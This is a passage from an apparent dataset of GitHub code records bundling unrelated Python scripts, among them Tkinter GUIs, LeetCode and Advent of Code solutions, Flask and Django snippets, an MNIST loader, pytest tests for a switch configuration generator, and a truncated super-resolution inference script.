#text=IntVar()\n            self.canvas_proc_g = Canvas(self.nw_g, width = 1366, height = 800, background=\"white\")  \n            self.canvas_proc_g.pack()\n            img = ImageTk.PhotoImage(Image.open(self.path_proc_g + \"image_procrustes_g.jpg\"))\n            label = Label(image=img)\n            label.image = img\n            self.canvas_image_proc_g = self.canvas_proc_g.create_image(80, 0, anchor=NW, image=label.image)\n            self.proc_g_text_g = self.canvas_proc_g.create_text(650, 40,fill=\"black\",font=\"Arial 15 bold\",\n                        text=\"Procrustes Generalizado - Forma média\", anchor=W)\n\n            self.proc_g_text2 = self.canvas_proc_g.create_text(650, 70,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Forma alinhada: \", anchor=W)\n            i=0\n            k=90\n            for ponto in alinhado:\n                k += 30\n                self.proc_g_texts.append(self.canvas_proc_g.create_text(650, k,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Ponto \" + str(i) +  \": \" + str(ponto), anchor=W))\n                i+=1\n            self.proc_g_flag = True\n        \n\n        def openNewWindow_proc():\n            self.nw = Toplevel(Pdi) \n            self.nw.title(\"Distância Procrustes\")  \n            self.nw.geometry(\"400x100\") \n            #text=IntVar()\n            Label(self.nw,  text =\"Digite o número referente da imagem a ser comparada com a atual:\").pack()\n            self.e1 = Entry(self.nw)\n            self.e1.pack()\n            button1 = Button(self.nw, text='Calcular a distância', command=do_proc)\n            button1.pack()\n        \n\n        def show_procrustes_generalized():\n            forma_aux = objeto.Forma()\n            forma_aux = self.formas\n            #print(\"\\n\\nANTES\")\n            #print(self.formas[0].pontos)\n            self.formas_alinhadas, self.forma_align_generalizada, self.norm_estimate, self.norm_mean, self.magnitude, self.form_autovetores, self.form_autovalores = execute.plot_procrustes_generalizada(forma_aux, self.path_lines)\n            #print(\"FORM_AUTOVALORES\", self.form_autovalores)\n            #print(\"FORM_AUTOVETORES\", self.form_autovetores)\n            #self.amostra_center = execute.amostra_forma(self.forma_align_generalizada, self.k)\n            #print(\"\\n\\nDEPOIS\")\n            #print(self.formas[0].pontos)\n            openNewImage_proc_generalizada(self.forma_align_generalizada)\n\n        def show_amostras_textura():\n            if not self.first_amostra:\n                #MUDAR\n                self.tw = Toplevel(Pdi) \n                self.tw.title(\"Amostras de textura\")  \n                self.tw.geometry(\"400x100\") \n                Label(self.tw,  text =\"Digite o valor do parâmetro da textura:\").pack()\n                self.e2 = Entry(self.tw)\n                self.e2.pack()\n                button2 = Button(self.tw, text='Gerar amostras', command=do_texturas)\n                button2.pack()\n            else:\n                show_amostras()\n                show_img_amostras()\n\n        def do_texturas():\n            if self.e2.get() != \"\":\n                self.k = int(self.e2.get())\n                self.text_autovalores, self.text_autovetores = execute.plot_amostras(self.formas, self.path_lines, self.k)\n                self.tw.destroy()\n                self.first_amostra = True\n                show_amostras()\n                show_img_amostras()\n            else:\n                Label(self.tw,  text =\"Valor Inválido! Tente novamente\").pack()\n\n\n        def show_procrustes():\n            openNewWindow_proc()\n\n        def openNewImage_resultado_asm(alinhado): \n            self.nw_g = Toplevel(Pdi) \n            self.nw_g.title(\"PDI - Resultado do ASM\")  \n            self.nw_g.geometry(\"1200x700\") \n            #text=IntVar()\n            self.canvas_proc_g = Canvas(self.nw_g, width = 1366, height = 800, background=\"white\")  \n            self.canvas_proc_g.pack()\n            img = ImageTk.PhotoImage(Image.open(self.path_resultado_asm + \"resultado.jpg\"))\n            label = Label(image=img)\n            label.image = img\n            self.canvas_image_proc_g = self.canvas_proc_g.create_image(80, 0, anchor=NW, image=label.image)\n            self.proc_g_text_g = self.canvas_proc_g.create_text(650, 40,fill=\"black\",font=\"Arial 15 bold\",\n                        text=\"Resultado ASM para a forma 1\", anchor=W)\n\n            self.proc_g_text2 = self.canvas_proc_g.create_text(650, 70,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Forma alinhada: \", anchor=W)\n            i=0\n            k=90\n            for ponto in alinhado:\n                k += 30\n                self.proc_g_texts.append(self.canvas_proc_g.create_text(650, k,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Ponto \" + str(i) +  \": \" + str(ponto), anchor=W))\n                i+=1\n            #self.proc_g_flag = True\n        \n        def show_etapa_de_busca():\n            self.resultado_final  = execute.etapa_de_busca(self.forma_align_generalizada,self.text_autovalores, self.text_autovetores, self.k , self.norm_mean, self.magnitude, self.form_autovalores, self.form_autovetores, self.formas)\n            openNewImage_resultado_asm(self.resultado_final)\n            \n            \n        menu.add_command(label='Ler arquivo', command=Plot)\n        menu.add_command(label='Sair', command=Sair)\n        menu2.add_command(label='Mostrar coordenadas', command=show_pontos)\n        menu2.add_command(label='Distância Euclidiana', command=show_euclidian)\n        menu2.add_command(label='Distância Procrustes', command=show_procrustes)\n        menu2.add_command(label='Distância Procrustes Generalizada', command=show_procrustes_generalized)\n        menu2.add_command(label='Gerar Amostras de Textura', command=show_amostras_textura)\n        menu3.add_command(label='Etapa de busca', command=show_etapa_de_busca)\n        \n\nPdi = Tk()\nPdiApp(Pdi)\nPdi.mainloop()","repo_name":"PedroLucca/ASM","sub_path":"tk.py","file_name":"tk.py","file_ext":"py","file_size_in_byte":16046,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25873461845","text":"# Constants for birdwatch camera and server service\n\nDEFAULT_MQTT_HOST = \"192.168.1.1\"\n\nDEFAULT_TOPIC = \"birdwatch\"\nDEBUG_SUBTOPIC = \"/debug\"\nVIDEO_SUBTOPIC = \"/video\"\nIR_LEDS_SUBTOPIC = \"/ir_leds\"\nSHUTDOWN_CAMERA = \"/shutdown_camera\"\nIR_LED_PINS = [2, 3, 4, 17]\n\nVIDEO_RECORDING_SECONDS = 30\n\nMAX_SHUTDOWN_CAMERA_CONFIRMATION_SECONDS = 5\n\nLOGGING_PREFIX_CAMERA = \"Camera\"\nLOGGING_PREFIX_SERVER = \"Server\"\n\nDEFAULT_CAMERA_TMP_PATH = \"/tmp\"\nDEFAULT_SERVER_STORAGE_PATH = \"/samba/public\"\n","repo_name":"elias-lange/birdwatch","sub_path":"scripts/birdwatch_constants.py","file_name":"birdwatch_constants.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"18770194111","text":"# 두개의 리스트를 반복을 돌리는데, 한쪽의 리스트는 해당 인덱스를 계속 유지해야 하는 경우\n# for와 while을 사용해서 구현한다\n\na = [1,2,3]\nb = [1,2,3,4,5]\nresult = []\n\nindex = 0\nfor i in range(len(a)) : \n    # b의 반복은 1회만 시행\n    # 그러므로 기존의 인덱스가 보존되어야 하는 상태\n    ## while의 탈출조건으로 b의 인덱스 조회보다 index가 리스트의 크기보다\n    ## 작은지를 먼저 확인해야함\n    while index < len(b) and a[i] >= b[index] :\n        result.append(b[index])\n        index += 1 \nprint(result)\n","repo_name":"ykiseong303/ProblemSolving","sub_path":"Baekjoon_python/pointing_loop.py","file_name":"pointing_loop.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5361687368","text":"\"\"\"\ntag: 数组；哈希表；字符串；排序\n1604. 警告一小时内使用相同员工卡大于等于三次的人\nhttps://leetcode.cn/problems/alert-using-same-key-card-three-or-more-times-in-a-one-hour-period/\n\"\"\"\nfrom collections import defaultdict\n\n\nclass Solution0:\n    def alertNames(self, keyName: List[str], keyTime: List[str]) -> List[str]:\n        keyName_defaultDict = defaultdict(list)\n        for n, t in zip(keyName, keyTime):\n            keyName_defaultDict[n].append(t)\n\n        def check(times: List[str]):\n            times.sort()\n            if len(times) < 3:\n                return False\n            for i in range(0, len(times) - 2):\n                left, right = times[i], times[i + 2]\n                left_hour, left_min = left.split(':')\n                right_hour, right_min = right.split(':')\n                if right_hour == left_hour or int(right_hour) - 1 == int(\n                        left_hour) and right_min <= left_min:\n                    return True\n            return False\n\n        res = []\n        for name, times in dict(keyName_defaultDict).items():\n            if check(times):\n                res.append(name)\n        return sorted(res)\n\n\nclass Solution1:\n    \"\"\" 官解 \"\"\"\n    def alertNames(self, keyName: List[str], keyTime: List[str]) -> List[str]:\n        timeMap = defaultdict(list)\n        for name, time in zip(keyName, keyTime):\n            hour, minute = int(time[:2]), int(time[3:])\n            timeMap[name].append(hour * 60 + minute)\n\n        ans = []\n        for name, times in timeMap.items():\n            times.sort()\n            if any(t2 - t1 <= 60 for t1, t2 in zip(times, times[2:])):\n                ans.append(name)\n        ans.sort()\n        return ans\n","repo_name":"ZhangRui111/AwesomeAlgorithm","sub_path":"leetcode/medium/1604.py","file_name":"1604.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43227068861","text":"from flask_app import app\nfrom flask import render_template, redirect, session, request\nfrom flask_app.models.ninjas import Ninjas\nfrom flask_app.models.dojos import Dojos\n\n@app.route(\"/ninjas/\")\ndef new_ninjas():\n    dojos = Dojos.get_all()\n    return render_template(\"ninjas.html\", dojos = dojos)\n\n\n\n@app.route(\"/ninjas/create/\", methods = [\"POST\"])\ndef create_ninja():\n    data = {\n        \"first_name\" : request.form[\"first_name\"],\n        \"last_name\" : request.form[\"last_name\"],\n        \"age\" : request.form[\"age\"],\n        \"dojo_id\" : request.form[\"dojos\"]\n    }\n    new_ninja_id = Ninjas.new_ninja(data)\n    return redirect(\"/\")\n\n","repo_name":"debughunt/Python-full-crud","sub_path":"dojos_and_ninjas_crud/flask_app/controllers/ninjas_controller.py","file_name":"ninjas_controller.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17082714013","text":"#!/usr/bin/env python3\n\n'''\nAn example of a Label with wrapping at 200 pixels and a left-justification of\nthe layout.\n'''\n\nimport tkinter\n\nclass Label(tkinter.Tk):\n    def __init__(self):\n        tkinter.Tk.__init__(self)\n        self.title(\"Label\")\n        self.geometry(\"200x200\")\n\n        label = tkinter.Label(text=\"This is an example of a Label widget within a Window container.\")\n        label.config(justify=tkinter.LEFT)\n        label.config(wrap=200)\n        label.pack(fill=tkinter.BOTH, expand=1)\n\nif __name__ == \"__main__\":\n    application = Label()\n    application.mainloop()\n","repo_name":"hasanmoudud/python-tkinter-examples","sub_path":"label.py","file_name":"label.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9383186188","text":"#Download data from google trends and Yahoo Finance\r\nfrom earningsurprise_crawl import earningsurprise_crawl\r\nfrom sentiment_crawl import sentiment_crawl\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n#Get tickers - union of earningsurprise and sentiment\r\nsentdex=sentiment_crawl()\r\nsentdex.to_csv('sentdex.csv')\r\nearnings_surprise=earningsurprise_crawl()\r\nearnings_surprise.to_csv('earnings_surprise.csv')\r\n\r\nearnings_surprise['%Surprise']=earnings_surprise['%Surprise'].astype(float)\r\nearnings_surprise.sort_values(by='%Surprise',ascending=False,inplace=True)\r\nsentdex.drop(0,inplace=True)\r\nTicker_1=list(sentdex['Ticker'])\r\nTicker_2=list(earnings_surprise['Ticker'])\r\nTickers=list(set(Ticker_1).union(set(Ticker_2)))\r\n\r\n\r\n#download Yahoo Finance data\r\nimport pandas_datareader as web\r\n'''\r\nremove_list=[]\r\nstock_data={}\r\nfor ticker in Tickers:\r\n    try:\r\n        stock_data[ticker]=web.get_data_yahoo(ticker,start='2018-01-01',end='2018-02-08')\r\n    except:\r\n        print(ticker,'failed!')\r\n        remove_list.append(ticker)\r\n\r\nstock_data=pd.concat(stock_data.values(), axis=1, keys=stock_data.keys())\r\nstock_data.to_csv('stockdata.csv')\r\n\r\nremove_list=['MHFI','NILE','LGF.A','SONO','DPS','MON','COL','CBG','ARG','GAS','TYC','CVC','MJN','PCP','EMC','JDSU','SPOT']\r\nfor item in remove_list:\r\n    Tickers.remove(item)\r\n'''\r\n#Download google trends\r\n\r\nfrom pytrends.request import TrendReq\r\npytrends = TrendReq(hl='en-US',tz=360)\r\nimport time\r\nfrom random import randint\r\n\r\nGtrends=pd.DataFrame([])\r\nfor ticker in Tickers:\r\n    try:\r\n        pytrends.build_payload(ticker, cat=0, timeframe='today 1-m', geo='', gprop='')\r\n        interest_over_time_df = pytrends.interest_over_time()\r\n        time.sleep(randint(5, 10))\r\n        Gtrends=pd.concat([Gtrends,interest_over_time_df[ticker]],axis=1)\r\n    except:\r\n        print(\"This ticker\",ticker,\"failed!\")\r\n\r\nGtrends.to_csv('Google_trends.csv')\r\n\r\n# stock_data['return']=np.log(stock_data['Adj Close']/stock_data['Adj Close'].shift(1))\r\n","repo_name":"VickieCao/MSCF-FCIII-Project","sub_path":"Trends and market data.py","file_name":"Trends and market data.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"33116515569","text":"from node import Node\nfrom linkedlist import LinkedList\n\nn1 = Node(\"satu\")\nn2 = Node(\"dua\")\nn3 = Node(\"tiga\")\n\nll = LinkedList()\nll.append(n1)\nll.append(n2)\nll.append(n3)\nprint(ll)\nprint(ll.graphs())\n\n\"\"\"\n$ python list_all_nodes.py\nnodes=3\nsatu --> dua --> tiga\n\"\"\"\n","repo_name":"dudung/python","sub_path":"src/stepin/intermediate/linked_list/list_all_nodes.py","file_name":"list_all_nodes.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24649124557","text":"import math\n\ndef starting_items():\n    monkeys = []\n    with open(\"inputs/11input.txt\") as f:\n        info = f.read().splitlines()\n        for line in info:\n            line = line.strip().rstrip(\":\") \n            if line.startswith(\"M\"):\n                monkey = []\n            elif line.startswith(\"S\"):\n                stolen_items = line[16:].split(\",\")\n                for stolen_item in stolen_items:\n                    monkey.append(stolen_item)\n                monkeys.append(monkey)\n    return monkeys\n\nmonkeys = starting_items()\nactivity = {0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0}\n\ndef moving_items(monkeys, turns):\n\n    with open(\"inputs/11input.txt\") as f:\n        info = f.read().splitlines()\n        item_moving = []\n\n        for line in info:\n            line = line.strip().rstrip(\":\")\n\n            if line.startswith(\"M\"):\n                i = int(line[7:])\n                current_monkey = monkeys[i]\n\n            if line.startswith(\"O\"):\n                for j, holding_item in enumerate(current_monkey):\n                    operation = line[21:].split(\" \")\n                    if operation[1] == \"old\":\n                        operation[1] = holding_item\n                    if operation[0] == \"*\":\n                        holding_item = math.floor((int(holding_item) * int(operation[1])) / 3)\n                        monkeys[i][j] = holding_item\n                    if operation[0] == \"+\":\n                        holding_item = math.floor((int(holding_item) + int(operation[1])) / 3)\n                        monkeys[i][j] = holding_item\n\n            if line.startswith(\"T\"):\n                test = line[19:]\n\n            if line.startswith(\"I\"):\n                if len(current_monkey) > 0:\n                    activity[i] += len(current_monkey)\n                while len(current_monkey) > 0:\n                    if current_monkey[-1] % int(test) == 0:\n                        item_moving.append([current_monkey.pop(), True])\n                    else:\n                        item_moving.append([current_monkey.pop(), False])\n\n            if line.startswith(\"If t\"):\n                k = len(item_moving) - 1\n                while k >=0:\n                    direction = int(line[25:])\n                    if item_moving[k][1] is True:\n                        monkeys[direction].append(item_moving[k][0])\n                        item_moving.pop(k)\n                    k -=1\n\n            if line.startswith(\"If f\"):\n                k = len(item_moving)  - 1\n                while k >=0:\n                    direction = int(line[26:])\n                    if item_moving[k][1] is False:\n                        monkeys[direction].append(item_moving[k][0])\n                        item_moving.pop(k)\n                    k -=1\n\n    if turns < 20:\n        moving_items(monkeys, turns= turns + 1)  \n    else:\n        print(activity)     \n\nmoving_items(monkeys, 1)\n","repo_name":"MegginS/AdventofCode","sub_path":"day_11.py","file_name":"day_11.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40925184847","text":"import pytest\nimport task_9_1a\nimport sys\n\nsys.path.append(\"..\")\n\nfrom pyneng_common_functions import check_function_exists, check_function_params\n\n# Checking that the test is called via pytest ... and not python ...\nfrom _pytest.assertion.rewrite import AssertionRewritingHook\n\nif not isinstance(__loader__, AssertionRewritingHook):\n    print(f\"Tests should be called using this expression:\\npytest {__file__}\\n\\n\")\n\n\ndef test_function_created():\n    \"\"\"\n    Checking that the function has been created\n    \"\"\"\n    check_function_exists(task_9_1a, \"generate_access_config\")\n\n\ndef test_function_params():\n    \"\"\"\n    Checking names and number of parameters\n    \"\"\"\n    check_function_params(\n        function=task_9_1a.generate_access_config,\n        param_count=3,\n        param_names=[\"intf_vlan_mapping\", \"access_template\", \"psecurity\"],\n    )\n\n\ndef test_function_return_value():\n    \"\"\"\n    Function check\n    \"\"\"\n    template_psecurity = [\n        \"switchport port-security maximum 2\",\n        \"switchport port-security violation restrict\",\n        \"switchport port-security\",\n    ]\n    access_vlans_mapping = {\n        \"FastEthernet0/12\": 10,\n        \"FastEthernet0/14\": 11,\n        \"FastEthernet0/16\": 17,\n    }\n    template_access_mode = [\n        \"switchport mode access\",\n        \"switchport access vlan\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n    ]\n    correct_return_value_without_psecurity = [\n        \"interface FastEthernet0/12\",\n        \"switchport mode access\",\n        \"switchport access vlan 10\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n        \"interface FastEthernet0/14\",\n        \"switchport mode access\",\n        \"switchport access vlan 11\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n        \"interface FastEthernet0/16\",\n        \"switchport mode access\",\n        \"switchport access vlan 17\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n    ]\n    correct_return_value_with_psecurity = [\n        \"interface FastEthernet0/12\",\n        \"switchport mode access\",\n        \"switchport access vlan 10\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n        \"switchport port-security maximum 2\",\n        \"switchport port-security violation restrict\",\n        \"switchport port-security\",\n        \"interface FastEthernet0/14\",\n        \"switchport mode access\",\n        \"switchport access vlan 11\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n        \"switchport port-security maximum 2\",\n        \"switchport port-security violation restrict\",\n        \"switchport port-security\",\n        \"interface FastEthernet0/16\",\n        \"switchport mode access\",\n        \"switchport access vlan 17\",\n        \"switchport nonegotiate\",\n        \"spanning-tree portfast\",\n        \"spanning-tree bpduguard enable\",\n        \"switchport port-security maximum 2\",\n        \"switchport port-security violation restrict\",\n        \"switchport port-security\",\n    ]\n\n    return_value = task_9_1a.generate_access_config(\n        access_vlans_mapping, template_access_mode\n    )\n    assert return_value != None, \"The function returns None\"\n    assert (\n        type(return_value) == list\n    ), f\"The function should return a list, instead it returns a {type(return_value).__name__}\"\n    assert (\n        correct_return_value_without_psecurity == return_value\n    ), \"The function returns an incorrect value when called with psecurity == None\"\n    return_value_with_psecurity = task_9_1a.generate_access_config(\n        access_vlans_mapping, template_access_mode, template_psecurity\n    )\n    assert (\n        correct_return_value_with_psecurity == return_value_with_psecurity\n    ), \"The function returns an incorrect value when called with psecurity\"\n","repo_name":"natenka/pyneng-examples-exercises-en","sub_path":"exercises/09_functions/test_task_9_1a.py","file_name":"test_task_9_1a.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"37"}
+{"seq_id":"6260534815","text":"\nfrom leonardo.utils.settings import dotdict, get_conf_from_module, merge\nfrom leonardo.utils.widgets import (find_widget_class, get_all_widget_classes,\n                                    get_grouped_widgets, load_widget_classes,\n                                    get_htmltext_widget, render_region)\n\n__all__ = ('dotdict', 'get_conf_from_module', 'get_leonardo_modules',\n           'merge', 'find_widget_class', 'get_all_widget_classes',\n           'get_grouped_widgets',)\n\n\ndef is_leonardo_module(mod):\n    \"\"\"returns True if is leonardo module\n    \"\"\"\n\n    if hasattr(mod, 'default') \\\n            or hasattr(mod, 'leonardo_module_conf'):\n        return True\n    for key in dir(mod):\n        if 'LEONARDO' in key:\n            return True\n    return False\n","repo_name":"django-leonardo/django-leonardo","sub_path":"leonardo/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"37"}
+{"seq_id":"36825802386","text":"sh = input('Enter Hours: ')\nsr = input('Enter Rate: ')\nfh = float(sh)\nfr = float(sr)\n#print(fh, fr)\nif fh > 40:\n  #print('Overtime')\n  regular = fh * fr\n  otp = (fh - 40) * (fr * 0.5)\n  #print(regular, otp)\n  xp = regular + otp\nelse :\n  #print('Regular')\n  xp = fh * fr\nprint('Pay:',xp)","repo_name":"colloso999/Python","sub_path":"Chapter3_ConditionalExecution/Ex_03_01/Ex_03_01.py","file_name":"Ex_03_01.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"33345332280","text":"# problem statement - https://leetcode.com/problems/first-missing-positive/description/\n\ndef firstMissingPositive(self, A: List[int]) -> int:\n        n = len(A);\n\n        # looping\n        i = 0;\n\n        for i in range(n):\n            \n            while(A[i] > 0 and A[i] <= n and A[i] != i+1):\n                element = A[i];\n                correctIdx = A[i]-1;\n                temp = A[correctIdx];\n                A[correctIdx] = element;\n                A[i] = temp;\n                if(element == temp):\n                    break;\n        \n        for i in range(n):\n            if(A[i] != i+1):\n                return i+1;\n\n        return n+1;\n\n  # TC - O(n). -> maximum number of swaps - n only\n  # SC - O(1)","repo_name":"anshikaCSE007/DSA","sub_path":"Arrays/Hard-type/FirstMissingPos.py","file_name":"FirstMissingPos.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73572569067","text":"from django.urls import path\nfrom . import views\n\napp_name = \"userprofile\"\n\nurlpatterns = [\n    # 用户页面\n    path(\"user_page/\", views.user_page, name=\"user_page\"),\n    # 用户登录\n    path(\"login/\", views.user_login, name=\"login\"),\n    # 用户退出\n    path(\"logout/\", views.user_logout, name=\"logout\"),\n    # 用户注册\n    path(\"register/\", views.user_register, name=\"register\"),\n    # 邮箱验证\n    path('activate/<uidb64>/<token>/', views.ActivateView.as_view(), name='activate'),\n]\n","repo_name":"xieweicong/course_evaluation","sub_path":"mysite/userprofile/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"41077941785","text":"def count_zero_grads(optimizer):\n    zero_params = 0\n    all_params = 0\n\n    for param_group in optimizer.param_groups:\n        for param in param_group['params']:\n            all_params += param.numel()\n            zero_params += (param.grad == 0).sum().detach().cpu().numpy()\n    \n    return zero_params / all_params\n","repo_name":"timothyxp/effective_pipelines","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"73455307307","text":"import os, struct\nfrom array import array as pyarray\nfrom numpy import append, array, int8, uint8, zeros\n\ndef load_mnist(dataset=\"training\", digits=None, path=None, asbytes=False,\n               selection=None, return_labels=True, return_indices=False):\n    \"\"\"\n    Loads MNIST files into a 3D numpy array.\n\n    You have to download the data separately from [MNIST]_. It is recommended\n    to set the environment variable ``MNIST`` to point to the folder where you\n    put the data, so that you don't have to select path. On a Linux+bash setup,\n    this is done by adding the following to your ``.bashrc``::\n\n        export MNIST=/path/to/mnist\n\n    Parameters\n    ----------\n    dataset : str\n        Either \"training\" or \"testing\", depending on which dataset you want to\n        load.\n    digits : list\n        Integer list of digits to load. The entire database is loaded if set to\n        ``None``. Default is ``None``.\n    path : str\n        Path to your MNIST datafiles. The default is ``None``, which will try\n        to take the path from your environment variable ``MNIST``. The data can\n        be downloaded from http://yann.lecun.com/exdb/mnist/.\n    asbytes : bool\n        If True, returns data as ``numpy.uint8`` in [0, 255] as opposed to\n        ``numpy.float64`` in [0.0, 1.0].\n    selection : slice\n        Using a `slice` object, specify what subset of the dataset to load. An\n        example is ``slice(0, 20, 2)``, which would load every other digit\n        until--but not including--the twentieth.\n    return_labels : bool\n        Specify whether or not labels should be returned. This is also a speed\n        performance if digits are not specified, since then the labels file\n        does not need to be read at all.\n    return_indicies : bool\n        Specify whether or not to return the MNIST indices that were fetched.\n        This is valuable only if digits is specified, because in that case it\n        can be valuable to know how far\n        in the database it reached.\n\n    Returns\n    -------\n    images : ndarray\n\t\tImage data of shape ``(N, rows, cols)``, where ``N`` is the number of\n\t\timages. If neither labels nor inices are returned, then this is returned\n\t\tdirectly, and not inside a 1-sized tuple.\n    labels : ndarray\n\t\tArray of size ``N`` describing the labels. Returned only if\n\t\t``return_labels`` is `True`, which is default.\n    indices : ndarray\n        The indices in the database that were returned.\n\n    Examples\n    --------\n    Assuming that you have downloaded the MNIST database and set the\n    environment variable ``$MNIST`` point to the folder, this will load all\n    images and labels from the training set:\n\n    >>> images, labels = ag.io.load_mnist('training') # doctest: +SKIP\n\n    Load 100 sevens from the testing set:\n\n    >>> sevens = ag.io.load_mnist('testing', digits=[7], selection=slice(0, 100), return_labels=False) # doctest: +SKIP\n\n    \"\"\"\n\n    # The files are assumed to have these names and should be found in 'path'\n    files = {\n        'training': ('train-images-idx3-ubyte', 'train-labels-idx1-ubyte'),\n        'testing': ('t10k-images-idx3-ubyte', 't10k-labels-idx1-ubyte'),\n    }\n\n    if path is None:\n        try:\n            path = os.environ['MNIST']\n        except KeyError:\n            raise ValueError(\"Unspecified path requires environment variable $MNIST to be set\")\n\n    try:\n        images_fname = os.path.join(path, files[dataset][0])\n        labels_fname = os.path.join(path, files[dataset][1])\n    except KeyError:\n        raise ValueError(\"Data set must be 'testing' or 'training'\")\n\n    # We can skip the labels file only if digits aren't specified and labels aren't asked for\n    if return_labels or digits is not None:\n        flbl = open(labels_fname, 'rb')\n        magic_nr, size = struct.unpack(\">II\", flbl.read(8))\n        labels_raw = pyarray(\"b\", flbl.read())\n        flbl.close()\n\n    fimg = open(images_fname, 'rb')\n    magic_nr, size, rows, cols = struct.unpack(\">IIII\", fimg.read(16))\n    images_raw = pyarray(\"B\", fimg.read())\n    fimg.close()\n\n    if digits:\n        indices = [k for k in range(size) if labels_raw[k] in digits]\n    else:\n        indices = range(size)\n\n    if selection:\n        indices = indices[selection]\n    N = len(indices)\n\n    images = zeros((N, rows, cols), dtype=uint8)\n\n    if return_labels:\n        labels = zeros((N), dtype=int8)\n    for i, index in enumerate(indices):\n        images[i] = array(images_raw[ indices[i]*rows*cols : (indices[i]+1)*rows*cols ]).reshape((rows, cols))\n        if return_labels:\n            labels[i] = labels_raw[indices[i]]\n\n    if not asbytes:\n        images = images.astype(float)/255.0\n\n    ret = (images,)\n    if return_labels:\n        ret += (labels,)\n    if return_indices:\n        ret += (indices,)\n    if len(ret) == 1:\n        return ret[0] # Don't return a tuple of one\n    else:\n        return ret\n","repo_name":"tgy/mnist-em-bmm-gmm","sub_path":"mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":4873,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"}
+{"seq_id":"75197547253","text":"t = int(input())\nfor tc in range(1, t + 1):\n    n, m = map(int, input().split())\n    arr = list(map(int, input().split()))\n    min_value = int(1e9)\n    max_value = 0\n\n    for i in range(n - m + 1):\n        temp = 0\n        for j in range(i, i + m):\n            temp += arr[j]\n        if temp < min_value:\n            min_value = temp\n\n        if temp > max_value:\n            max_value = temp\n\n    answer = max_value - min_value\n    print(f\"#{tc} {answer}\")","repo_name":"keeeeeey/baekjoon_algorithm","sub_path":"00.SSAFY_ALGORITHM/수업시간 문제풀이/구간합.py","file_name":"구간합.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33880975504","text":"import numpy as np\nimport os\nimport h5py\nimport torch\nimport pickle\nimport nibabel as nib\nfrom datetime import datetime\n\nfrom torch.utils.data import DataLoader\n\nfrom model import SR_q_DL\nfrom utils import init_device_seed, load_args_test\nfrom dataset import TestDataset\nfrom preprocess import get_vals_vecs\n\nif __name__ == '__main__':\n    args = load_args_test()\n    device = init_device_seed(1234, args.cuda_visible)\n    vals, vecs, dif_indexes_0, dif_indexes_lr = get_vals_vecs()\n    output_dir = \"./result/\" + datetime.now().strftime(\"%Y-%m-%d %H_%M_%S\")\n\n    test_list = os.listdir(\"./data/test_h5\")\n    model = SR_q_DL(36, 288).to(device)\n    checkpoint = torch.load('./model/model_dict', map_location=device)\n    model.load_state_dict(checkpoint['state_dict'])\n    model.eval()\n\n    for idx, subject in enumerate(test_list):\n        hf = h5py.File(f\"./data/test_h5/{subject}/data.h5\", \"r\")\n        lr_vol = hf[\"lr\"]\n        mask_index = hf[\"mask_index\"]\n        hr_e_vol = np.zeros((288, 144+8, 174+8, 144+8), dtype=np.float32)\n\n        dataset = TestDataset(lr_vol, mask_index)\n        test_loader = DataLoader(dataset, batch_size=args.batch_size)\n\n        for idx, (lr, mask) in enumerate(test_loader):\n            lr = lr.to(device, dtype=torch.float32)\n            hr_e = 